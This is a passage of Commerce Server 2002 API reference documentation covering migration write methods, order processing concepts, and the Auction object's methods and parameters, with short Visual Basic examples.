pIMigrationLog [C++]
A pointer to the IUnknown interface object used for logging.
pIMigrationLog [Visual Basic]
An object reference to the IUnknown interface object used for logging.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] MigrationWriteObj Object

[Visual Basic] MigrationWriteObj Object


IMigrationWriteObj::ShutDown Method [C++]

MigrationWriteObj.ShutDown Method [Visual Basic]

Use this method to free the created connection pools.

Definition

[C++]
HRESULT IMigrationWriteObj::ShutDown(
);
[Visual Basic]
Sub ShutDown()

Parameters

[C++] None.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The MigrationProfile object calls this method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] MigrationWriteObj Object

[Visual Basic] MigrationWriteObj Object


IMigrationWriteObj::WriteUserAttributes Method [C++]

MigrationWriteObj.WriteUserAttributes Method [Visual Basic]

Use this method to identify the attributes that are associated with the key, and then write these attributes from the array into the Commerce Server Profile data store.

Definition

[C++]
HRESULT IMigrationWriteObj::WriteUserAttributes(
  BSTR bstrKeyName,
  long lProfile_id,
  SAFEARRAY(VARIANT)* AttributeStructure,
  VARIANT* varValueIndex,
  VARIANT* vMemberOfs
);
[Visual Basic]
Sub WriteUserAttributes(
  bstrKeyName As String,
  lProfile_id As Long,
  AttributeStructure As SAFEARRAY(VARIANT),
  varValueIndex As Variant,
  vMemberOfs As Variant
)

Parameters

bstrKeyName [C++]
[in] A BSTR that contains the name of the object that is being migrated.
bstrKeyName [Visual Basic]
A String that contains the name of the object that is being migrated.
lProfile_id [C++]
[in] A Long that contains the ID of the profile XML file that is been used.
lProfile_id [Visual Basic]
A Long that contains the ID of the profile XML file that is been used.
AttributeStructure [C++]
[in] A reference to a SAFEARRAY(VARIANT) that contains an array of all the attributes that are to be migrated for this object.
AttributeStructure [Visual Basic]
A SAFEARRAY(VARIANT) that contains an array of all the attributes that are to be migrated for this object.
varValueIndex [C++]
[in] A pointer to a VARIANT array showing which attributes were actually read for this object. If an index is Null, then this object did not have this attribute set.
varValueIndex [Visual Basic]
A Variant array showing which attributes were actually read for this object. If an index is Null, then this object did not have this attribute set.
vMemberOfs [C++]
[in] A pointer to a VARIANT array containing all the groups to which this object is a member.
vMemberOfs [Visual Basic]
A Variant array containing all the groups to which this object is a member

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] MigrationWriteObj Object

[Visual Basic] MigrationWriteObj Object


Order Processing Objects

Business process objects provide the ability to manage baskets, templates, and submitted orders. Typical management functions include order creation, database order storage, and database order searches.

The Order Processing Programming Concepts topic describes concepts related to programming with the various objects that are concerned with business processing.

Objects

Visual Basic reference | C++ invocation | Description
Auction | Auction | Provides methods for supporting auctions.
OrderForm | OrderForm | Provides in-memory storage of user and purchase information.
OrderGroup | OrderGroup | Allows management of complex orders, such as those containing items from different suppliers, and multiple shipments.
OrderGroupManager | OrderGroupManager | Provides methods to manage OrderGroup and OrderForm objects.
Shipping | Shipping | Creates shipping cost preview information.
ShippingMethodManager | ShippingMethodManager | Allows management of multiple shipping methods.
SimpleFindResultInfo | SimpleFindResultInfo | Allows the specification of search criteria when using the OrderGroup and OrderGroupManager objects.
SimpleFindSearchInfo | SimpleFindSearchInfo | Allows the specification of search criteria when performing search and delete operations by using the OrderGroup and OrderGroupManager objects.

Examples

Example | Description
Code to Create an Order | Describes how to create an order, instantiating and initializing the required objects.
Code to Add Address and Line Item Information to an Order | Describes how to create line items in an order and view the contents of the order.
Code to Save an Order to the Database | Describes how to save an order with a Template status to the database.
Code to Search for an Order and Display Line Item Information | Describes how to search the database for an order by using the SimpleFindSearchInfo and SimpleFindResultInfo objects.


Order Processing Programming Concepts

The following topics describe the business process objects provided in Commerce Server 2002.

OrderGroup, OrderForm, and OrderGroupManager Objects

The OrderGroup object is used in Commerce Server 2002 to store, access, and compute basket and order information for a site. The OrderGroupManager object works in conjunction with the OrderGroup object, providing search and other management operations for orders.

OrderGroup Structure

An OrderGroup object describes order information. It groups order forms, and provides aggregate operations and aggregate totals. The OrderGroup object links to one or more OrderForm objects, and to one or more Address dictionaries. The OrderForm object specifies header information for an order such as the shipping total, the tax total, and other data required to process the order. The OrderForm object references one or more Item dictionaries, which describe the specific products to be purchased. The Addresses dictionary specifies billing and shipping address information for purchase orders. Each OrderForm object typically specifies a billing_address_id value, and each line item specifies a shipping_address_id value.

The OrderGroup object often contains only one OrderForm object. However, when you want your users to purchase items from different suppliers, the multiple OrderForm object feature of the OrderGroup object enables you to retain distinctions between suppliers while allowing a unified shopping experience for the user.

The following objects commonly occur within the OrderGroup object:

  • Address dictionaries. These dictionaries specify billing and shipping information for purchase orders.
  • OrderForm objects. These objects specify the header information for an order form. An OrderForm object contains a SimpleList object called Items that contains the Item dictionaries holding line-item information.
  • Items SimpleList . The Items SimpleList objects contain the Item dictionaries.
  • Item dictionaries. These dictionaries specify the contents of the line items in an order form. An OrderForm object, representing the information used to process the order form, references zero or more Item dictionaries through the Items list.

OrderStatus Codes

The OrderGroup object represents a purchasing unit, and has a specific status. This status is stored in OrderGroup.value("order_status_code"), indicating whether the OrderGroup object represents a Basket (1), a Saved Order or Template (2), a New Order (4), and so on. New custom status codes can be created in Commerce Server Business Desk. They can indicate such OrderGroup object status values as Approved, Cancelled, and so on. The status codes for these values must be set to numbers that are powers of 2 (for example: 8, 16, 32). The following order status codes are defined:

  • Basket status. The Basket status indicates an OrderGroup object that is in the process of being assembled and reviewed before the order is submitted. This status code is 1.
  • Template status (Saved Order status). The purpose of the Template status is to facilitate repeat purchases, such as in a grocery store site where the same items are ordered week after week. This status is equivalent to the Saved Order status. This status code is 2.
  • New Order status. The New Order status indicates an order that has been submitted for further processing (usually by the user clicking the Submit Order button). This status code is 4.

Database Persistence

If the OrderGroup object has an order status code of Basket or Template, the entire structure is persisted in the BasketGroup table; persistence in one table enhances performance. If the OrderGroup object has an order status code other than Basket or Template, it is persisted in the OrderGroup, OrderFormHeader, OrderFormLineItems, and OrderGroupAddresses tables that are used to store OrderGroups, OrderForms, LineItems and Addresses, respectively. This multiple-table persistence provides the OrderGroupManager object with richer search capabilities.

The OrderGroup object uses the marshaled_data database column to persist key/value pairs that have keys that do not correspond to database column names.

No dictionary entry that has a key name that begins with the value of the SavePrefix property will be saved to the database.

Many pipeline keys are prefixed by the underscore character (_), which, by default, means they will not be persisted to the database. Occasionally, you might want to take snapshots of these keys, and by convention, the prefix "saved_" is used in this situation. By using the "saved_" prefix the pipeline keys can be referred to later and can be searched by using SQL statements or the OrderGroupManager object. Copied keys should not necessarily be trusted as being up-to-date. Also, copied keys should not be used by pipeline components directly.

To customize the way OrderGroup object information is stored to the database, use the DBStorage object. The DBStorage.CommitData and DBStorage.InsertData methods can store data from a specified object into the database in two ways:

  • First, if the DBStorage.InitStorage method specifies a vtMarshal parameter, then CommitData and InsertData serialize all the data in the object into binary form and store it into the database column specified by this parameter. (If this argument is not supplied, then no data is stored in serialized form.)
  • Second, if the names of any items in the object exactly match the names of columns in the database, then the data in these items is stored into the corresponding columns. For example, if the order form contains a value called ship_to_name, and if your database table contains a column named ship_to_name, the DBStorage object saves the value in the ship_to_name entry of the order form into that column.

If the vtMarshal parameter is specified and matching columns exist, then the corresponding data is stored both ways.


Auction Object [C++]

Auction Object [Visual Basic]

Use this object to provide auction capabilities to a site. This object enables a site to auction products, accept bids, and determine winners, using rules ranging from simple to sophisticated. Users can set reserve prices, minimum bids, start and end dates, bid increments, and resolve bid conflicts. Users can also notify auction participants of important news via DHTML, HTML, or e-mail at any interval.

The source code for this component is provided in the Commerce Server 2002 Software Development Kit. For more information about the auction component and the auction sitelet, see Auction Samples.

ProgID: | Commerce.Auction (Externally creatable)
COM Class Name: | Auction
COM Interface Name: | _Auction
Interface ID Constant: | None
Header File: | None
Type Library Name: | Commerce Server 4.0 Auction Component
DLL Name: | auction.dll
Threading Model: | Apartment
[C++]

In C++, use the _Auction interface to access the properties and methods of the Auction object.

Because this object is primarily intended for use within ASP script, access from C++ will not be common.

Methods

[C++]
Method | Description
AuctionAddBid | Adds or updates a bid on an auction.
AuctionAddItem | Adds a new auction item to the Auction database.
AuctionBidNormalize | Normalizes a bid to the bid increment amount.
AuctionDeleteBid | Deletes a bid in an auction.
AuctionDeleteBids | Deletes all bids in a particular auction.
AuctionDeleteItem | Deletes an item and all bids on the item in a particular auction.
AuctionGetBid | Returns a rowset containing a bid from a specific user for a specific auction item.
AuctionGetBids | Returns a rowset containing all bids for an auction item.
AuctionGetItem | Returns a rowset for the item up for auction.
AuctionGetStatus | Returns a Dictionary object containing rowsets for the item up for auction.
AuctionInit | Initializes the Auction object.
AuctionRandomBids | Adds random bids to an auction to aid testing.
AuctionResolve | Resolves the auction based on the current settings and rules.
AuctionUpdateItem | Updates an auction item in the Auction database.
[Visual Basic]
Method | Description
AuctionAddBid | Adds or updates a bid on an auction.
AuctionAddItem | Adds a new auction item to the Auction database.
AuctionBidNormalize | Normalizes a bid to the bid increment amount.
AuctionDeleteBid | Deletes a bid in an auction.
AuctionDeleteBids | Deletes all bids in a particular auction.
AuctionDeleteItem | Deletes an item and all bids on the item in a particular auction.
AuctionGetBid | Returns a rowset containing a bid from a specific user for a specific auction item.
AuctionGetBids | Returns a rowset containing all bids for an auction item.
AuctionGetItem | Returns a rowset for the item up for auction.
AuctionGetStatus | Returns a Dictionary object containing rowsets for the item up for auction.
AuctionInit | Initializes the Auction object.
AuctionRandomBids | Adds random bids to an auction to aid testing.
AuctionResolve | Resolves the auction based on the current settings and rules.
AuctionUpdateItem | Updates an auction item in the Auction database.

Properties

[C++]
Property | Type | Description
AuctionID | BSTR | Stores the auction ID globally unique identifier (GUID). This property is read-only.
dtAMT | DATE | Stores the date/time stamp used by the auction engine. This property is read/write.
objMessageManager | IDispatch | Stores the MessageManager object used to generate error messages. This property is read/write.
szBidOrderBy | BSTR | Stores the sort string used to resolve ties. This property is read/write.
szBidTableName | BSTR | Stores the name of the Bid table in the database. This property is read/write.
szDSN | BSTR | Stores the connection string for the database. This property is read/write.
szItemTableName | BSTR | Stores the name of the Item table in the database. This property is read/write.
[Visual Basic]
Property | Type | Description
AuctionID | String | Stores the auction ID globally unique identifier (GUID). This property is read-only.
dtAMT | Date | Stores the date/time stamp used by the auction engine. This property is read/write.
objMessageManager | Object | Stores the MessageManager object used to generate error messages. This property is read/write.
szBidOrderBy | String | Stores the sort string used to resolve ties. This property is read/write.
szBidTableName | String | Stores the name of the Bid table in the database. This property is read/write.
szDSN | String | Stores the connection string for the database. This property is read/write.
szItemTableName | String | Stores the name of the Item table in the database. This property is read/write.

Remarks

The Auction object depends on the presence of the Item and Bid tables, stored in the site database, and a MessageManager object to hold the error messages. The tables must be created before using the Auction object for the first time. The MessageManager object must be properly initialized for the Auction object to pass error messages back to the user.

See Also

Auction Samples


_Auction Methods [C++]

Auction Methods [Visual Basic]

Methods

[C++]
Method | Description
AuctionAddBid | Adds or updates a bid on an auction.
AuctionAddItem | Adds a new auction item to the Auction database.
AuctionBidNormalize | Normalizes a bid to the bid increment amount.
AuctionDeleteBid | Deletes a bid in an auction.
AuctionDeleteBids | Deletes all bids in a particular auction.
AuctionDeleteItem | Deletes an item and all bids on the item in a particular auction.
AuctionGetBid | Returns a rowset containing a bid from a specific user for a specific auction item.
AuctionGetBids | Returns a rowset containing all bids for an auction item.
AuctionGetItem | Returns a rowset for the item up for auction.
AuctionGetStatus | Returns a Dictionary object containing rowsets for the item up for auction.
AuctionInit | Initializes the Auction object.
AuctionRandomBids | Adds random bids to an auction to aid testing.
AuctionResolve | Resolves the auction based on the current settings and rules.
AuctionUpdateItem | Updates an auction item in the Auction database.
[Visual Basic]
Method | Description
AuctionAddBid | Adds or updates a bid on an auction.
AuctionAddItem | Adds a new auction item to the Auction database.
AuctionBidNormalize | Normalizes a bid to the bid increment amount.
AuctionDeleteBid | Deletes a bid in an auction.
AuctionDeleteBids | Deletes all bids in a particular auction.
AuctionDeleteItem | Deletes an item and all bids on the item in a particular auction.
AuctionGetBid | Returns a rowset containing a bid from a specific user for a specific auction item.
AuctionGetBids | Returns a rowset containing all bids for an auction item.
AuctionGetItem | Returns a rowset for the item up for auction.
AuctionGetStatus | Returns a Dictionary object containing rowsets for the item up for auction.
AuctionInit | Initializes the Auction object.
AuctionRandomBids | Adds random bids to an auction to aid testing.
AuctionResolve | Resolves the auction based on the current settings and rules.
AuctionUpdateItem | Updates an auction item in the Auction database.


_Auction::AuctionAddBid Method [C++]

Auction.AuctionAddBid Method [Visual Basic]

Use this method to add or update a bid on an item. The bid is validated according to all the current rules for the auction.

Definition

[C++]
HRESULT _Auction::AuctionAddBid(
  BSTR szAuctionId,
  BSTR szShopperId,
  BSTR szBidName,
  BSTR szEmail,
  CURRENCY cyBidPrice,
  long nDesired,
  VARIANT_BOOL fTakeLess,
  CURRENCY cyMinimumBid,
  IDispatch* objErrorList,
  VARIANT_BOOL bResolve,
  long* plNumErrors
);
[Visual Basic]
Function AuctionAddBid(
  szAuctionId As String,
  szShopperId As String,
  szBidName As String,
  szEmail As String,
  cyBidPrice As Currency,
  nDesired As Long,
  fTakeLess As Boolean,
  cyMinimumBid As Currency,
  objErrorList As Object,
  Optional bResolve As Boolean
) As Long

Parameters

szAuctionId [C++]
[in] A BSTR that contains the unique auction ID.
szAuctionId [Visual Basic]
A String that contains the unique auction ID.
szShopperId [C++]
[in] A BSTR that contains the unique ID of the bidder.
szShopperId [Visual Basic]
A String that contains the unique ID of the unique bidder.
szBidName [C++]
[in] A BSTR that contains the name of the bidder.
szBidName [Visual Basic]
A String that contains the name of the bidder.
szEmail [C++]
[in] A BSTR that contains the email address of the bidder.
szEmail [Visual Basic]
A String that contains the email address of the bidder.
cyBidPrice [C++]
[in] A CURRENCY that contains the bid amount.
cyBidPrice [Visual Basic]
A Currency that contains the bid amount.
nDesired [C++]
[in] A long that contains the number of wanted items.
nDesired [Visual Basic]
A Long that contains the number of wanted items.
fTakeLess [C++]
[in] A VARIANT_BOOL that indicates whether the bidder will take less than the wanted number of items. A value of True indicates the bidder will take less. A value of False indicates the bidder will not accept less than the wanted number of items.
fTakeLess [Visual Basic]
A Boolean that indicates whether the bidder will take less than the wanted number of items. A value of False indicates the bidder will not accept less than the wanted number of items.
cyMinimumBid [C++]
[in] A CURRENCY that contains the minimum bid.
cyMinimumBid [Visual Basic]
A Currency that contains the minimum bid.
objErrorList [C++]
[in] A pointer to the IDispatch interface of a SimpleList object that contains a list of errors generated by the MessageManager object.
objErrorList [Visual Basic]
A SimpleList object that contains a list of errors generated by the MessageManager object.
bResolve [C++]
[in, optional, defaultvalue (-1)] A VARIANT_BOOL that indicates whether to call the AuctionResolve method. The default value of True causes the method to be called with the bOptimize parameter of the method set to True. A value of False causes the Auction object to skip the automatic call to the AuctionResolve method.
bResolve [Visual Basic]
A Boolean that indicates whether to call the AuctionResolve method. A value of True causes the method to be called with the bOptimize parameter of the method set to True. A value of False causes the Auction object to skip the automatic call to the AuctionResolve method. The default value is True.
plNumErrors [C++]
[out, retval] A pointer to a long used to return the number of error strings written to the objErrorList object.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Long that contains the number of error strings written to the objErrorList object.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

'lNumErrStrings is a Long
'szAuctionID is a String containing a GUID
'oErrorList is an object

lNumErrStrings = oAuction.AuctionAddBid(szAuctionID, "Bidder123456", szBidName, "Bidder123456@isp.com", 25.00, 5, FALSE, 19.99, oErrorList, TRUE)

See Also

[C++] Auction Object

[Visual Basic] Auction Object

Auction Samples


_Auction::AuctionAddItem Method [C++]

Auction.AuctionAddItem Method [Visual Basic]

Use this method to add a new item to the auction system.

Definition

[C++]
HRESULT _Auction::AuctionAddItem(
  BSTR szSKU,
  CURRENCY cyReservePrice,
  long nAvailable,
  CURRENCY cyBidIncrement,
  long nAuctionType,
  CURRENCY cyMinimumBid,
  VARIANT_BOOL fSealedBid,
  VARIANT_BOOL fSealedInventory,
  VARIANT_BOOL fActive,
  DATE dtStartDate,
  DATE dtEndDate,
  long nAutoCloseSeconds,
  IDispatch* objErrorList,
  long* plNumErrors
);
[Visual Basic]
Function AuctionAddItem(
  szSKU As String,
  cyReservePrice As Currency,
  nAvailable As Long,
  cyBidIncrement As Currency,
  nAuctionType As Long,
  cyMinimumBid As Currency,
  fSealedBid As Boolean,
  fSealedInventory As Boolean,
  fActive As Boolean,
  dtStartDate As Date,
  dtEndDate As Date,
  nAutoCloseSeconds As Long,
  objErrorList As Object
) As Long

Parameters

szSKU [C++]
[in] A BSTR that contains the unique ID for the item.
szSKU [Visual Basic]
A String that contains the unique ID for the item.
cyReservePrice [C++]
[in] A CURRENCY that contains the minimum price that the seller is willing to sell the item for. The reserve price must be greater than the minimum bid.
cyReservePrice [Visual Basic]
A Currency that contains the minimum price that the seller is willing to sell the item for. The reserve price must be greater than the minimum bid.
nAvailable [C++]
[in] A long that contains the number of items for sale.
nAvailable [Visual Basic]
A Long that contains the number of items for sale.
cyBidIncrement [C++]
[in] A CURRENCY that contains the amount a bid must be raised in order to bid on the item.
cyBidIncrement [Visual Basic]
A Currency that contains the amount a bid must be raised in order to bid on the item.
nAuctionType [C++]
[in] A long that contains the auction type. For more information, see the table in the Remarks section.
nAuctionType [Visual Basic]
A Long that contains the auction type. For more information, see the table in the Remarks section.
cyMinimumBid [C++]
[in] A CURRENCY that contains the minimum opening bid.
cyMinimumBid [Visual Basic]
A Currency that contains the minimum opening bid.
fSealedBid [C++]
[in] A VARIANT_BOOL that indicates whether to check a bid against the minimum bid. A value of True skips the minimum bid check.
fSealedBid [Visual Basic]
A Boolean that indicates whether to check a bid against the minimum bid. A value of True skips the minimum bid check.
fSealedInventory [C++]
[in] A VARIANT_BOOL that indicates whether to check the wanted number of items in a bid against the number of items available for sale. A value of False indicates to check the items. A value of True skips the check (the fTakeLess parameter in the bid is ignored).
fSealedInventory [Visual Basic]
A Boolean that indicates whether to check the wanted number of items in a bid against the number of items available for sale. A value of False indicates to check the items. A value of True skips the check (the fTakeLess parameter in the bid is ignored).
fActive [C++]
[in] A VARIANT_BOOL that indicates whether the auction is active. A value of True indicates an active auction. A value of False suspends bidding on the auction.
fActive [Visual Basic]
A Boolean that indicates whether the auction is active. A value of True indicates an active auction. A value of False suspends bidding on the auction.
dtStartDate [C++]
[in] A DATE that determines when bids will be accepted on the item.
dtStartDate [Visual Basic]
A Date that determines when bids will be accepted on the item.
dtEndDate [C++]
[in] A DATE that determines when the auction is closed and the items can be purchased.
dtEndDate [Visual Basic]
A Date that determines when the auction is closed and the items can be purchased.
nAutoCloseSeconds [C++]
[in] A long that indicates the number of seconds to wait after the last bid is received to close the auction. This can close an auction before the end date. A value of zero (0) indicates to ignore the time of the last bid and close the auction on the end date.
nAutoCloseSeconds [Visual Basic]
A Long that indicates the number of seconds to wait after the last bid is received to close the auction. This can close an auction before the end date. A value of zero (0) indicates to ignore the time of the last bid and close the auction on the end date.
objErrorList [C++]
[in] A pointer to the IDispatch interface that contains the error list.
objErrorList [Visual Basic]
An IDispatch interface that contains the error list.
plNumErrors [C++]
[out, retval] A pointer to a long used to return the number of error strings written to the objErrorList object.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Long that contains the number of error strings written to the objErrorList object.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The auction type controls the method used to determine the winning bidder and the amount the winning bidder must pay. The following table describes the available auction types.

Auction Type | Value | Description | Example
Winning Price | 0 | Winning bidders receive the item they bid on for the amount bid. If there is more than one item, winning bidders receive the number requested at the amount they bid. | Two items are at auction. Bidder A bids $10.00, Bidder B bids $5.00, and Bidder C bids $3.00, and each bidder requests one item. Bidder A receives one item for $10.00 and Bidder B receives one item for $5.00. However, if Bidder A requested two items at $10.00 each, both items would be awarded to Bidder A.
Clear Price | 1 | Winning bidders receive the item they bid on for the lowest winning bid. | Same conditions as Winning Price auction type example. Bidder A and Bidder B each receive one item for $5.00.
Second Price | 2 | Winning bidders pay the lowest of the following: The highest losing bid plus the bid increment, the lowest winning bid, or the reserve price, assuming the number of bids above the reserve price is less than the number of available items. | Same conditions as Winning Price auction type example with a bid increment of $0.50. Bidder A and Bidder B each receive one item for $3.50.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

'lNumErrStrings is a Long
'dtStartDate is a Date
'dtEndDate is a Date
'oErrors is a list object

lNumErrStrings = oAuction.AuctionAddItem("123456", 2.50, 2, 0.50, 1, 1.50, False, False, True, dtStartDate, dtEndDate, 0, oErrors)

See Also

[C++] Auction Object

[Visual Basic] Auction Object

Auction Samples


_Auction::AuctionBidNormalize Method [C++]

Auction.AuctionBidNormalize Method [Visual Basic]

Use this method to normalize a bid to a whole multiple of the bid increment.

Definition

[C++]
HRESULT _Auction::AuctionBidNormalize(
  CURRENCY cyBidAmount,
  CURRENCY cyBidIncrement,
  CURRENCY cyMinimumBid,
  CURRENCY* cyBidNormal
);
[Visual Basic]
Function AuctionBidNormalize(
  cyBidAmount As Currency,
  cyBidIncrement As Currency,
  cyMinimumBid As Currency
) As Currency

Parameters

cyBidAmount [C++]
[in] A CURRENCY that contains the bid amount.
cyBidAmount [Visual Basic]
A Currency that contains the bid amount.
cyBidIncrement [C++]
[in] A CURRENCY that contains the bid increment.
cyBidIncrement [Visual Basic]
A Currency that contains the bid increment.
cyMinimumBid [C++]
[in] A CURRENCY that contains the minimum bid allowed.
cyMinimumBid [Visual Basic]
A Currency that contains the minimum bid allowed.
cyBidNormal [C++]
[out, retval] A pointer to a CURRENCY used to return the normalized bid.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Currency that contains the normalized bid.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' currNormBid is a Currency, the bid amount is $10.50
currNormBid = oAuction.AuctionBidNormalize(10.50, 1.00, 8.00)
' After the call, currNormBid = 10.00

See Also

[C++] Auction Object

[Visual Basic] Auction Object

Auction Samples


_Auction::AuctionDeleteBid Method [C++]

Auction.AuctionDeleteBid Method [Visual Basic]

Use this method to deletes a bid placed on an item in an auction.

Definition

[C++]
HRESULT _Auction::AuctionDeleteBid(
  BSTR szAuctionId,
  BSTR szShopperId,
  VARIANT_BOOL bResolve,
  VARIANT* unnamed parameter
);
[Visual Basic]
Function AuctionDeleteBid(
  szAuctionId As String,
  szShopperId As String,
  Optional bResolve As Boolean
) As Variant

Parameters

szAuctionId [C++]
[in] A BSTR that contains the unique auction ID.
szAuctionId [Visual Basic]
A String that contains the unique auction ID.
szShopperId [C++]
[in] A BSTR that contains the unique ID of the bidder.
szShopperId [Visual Basic]
A String that contains the unique ID of the bidder.
bResolve [C++]
[in, optional, defaultvalue (-1)] A VARIANT_BOOL that indicates whether to call the AuctionResolve method. The default value of True causes the method to be called with the bOptimize parameter of the method set to True. A value of False causes the Auction object to skip the automatic call to the AuctionResolve method.
bResolve [Visual Basic]
A Boolean that indicates whether to call the AuctionResolve method. A of True causes the method to be called with the bOptimize parameter of the method set to True. A value of False causes the Auction object to skip the automatic call to the AuctionResolve method. The default value is True.
unnamed parameter [C++]
[out, retval] Reserved for future use.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] The return value is reserved for future use. Ignore the return value.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

'You can treat this function as a subroutine to ignore the return value.
oAuction.AuctionDeleteBid szAuctionId, szShopperId, bResolve

See Also

[C++] Auction Object

[Visual Basic] Auction Object

Auction Samples


_Auction::AuctionDeleteBids Method [C++]

Auction.AuctionDeleteBids Method [Visual Basic]

Use this method to delete all bids on an item made in an auction. The item remains in the auction database and new bids can be accepted.

Definition

[C++]
HRESULT _Auction::AuctionDeleteBids(
  BSTR szAuctionId,
  VARIANT_BOOL bResolve,
  VARIANT* unnamed parameter
);
[Visual Basic]
Function AuctionDeleteBids(
  szAuctionId As String,
  Optional bResolve As Boolean
) As Variant

Parameters

szAuctionId [C++]
[in] A BSTR that contains the unique auction ID.
szAuctionId [Visual Basic]
A String that contains the unique auction ID.
bResolve [C++]
[in, optional, defaultvalue (-1)] A VARIANT_BOOL that indicates whether to call the AuctionResolve method. The default value of True causes the method to be called with the bOptimize parameter of the method set to True. A value of False causes the Auction object to skip the automatic call to the AuctionResolve method.
bResolve [Visual Basic]
A Boolean that indicates whether to call the AuctionResolve method. A value of True causes the method to be called with the bOptimize parameter of the method set to True. A value of False causes the Auction object to skip the automatic call to the AuctionResolve method. The default value is True.
unnamed parameter [C++]
[out, retval] Reserved for future use.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] The return value is reserved for future use. Ignore the return value.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] Auction Object

[Visual Basic] Auction Object

Auction Samples


_Auction::AuctionDeleteItem Method [C++]

Auction.AuctionDeleteItem Method [Visual Basic]

Use this method to delete an item and all bids for the item from the auction database.

Definition

[C++]
HRESULT _Auction::AuctionDeleteItem(
  BSTR szAuctionId,
  VARIANT* unnamed parameter
);
[Visual Basic]
Function AuctionDeleteItem(
  szAuctionId As String
) As Variant

Parameters

szAuctionId [C++]
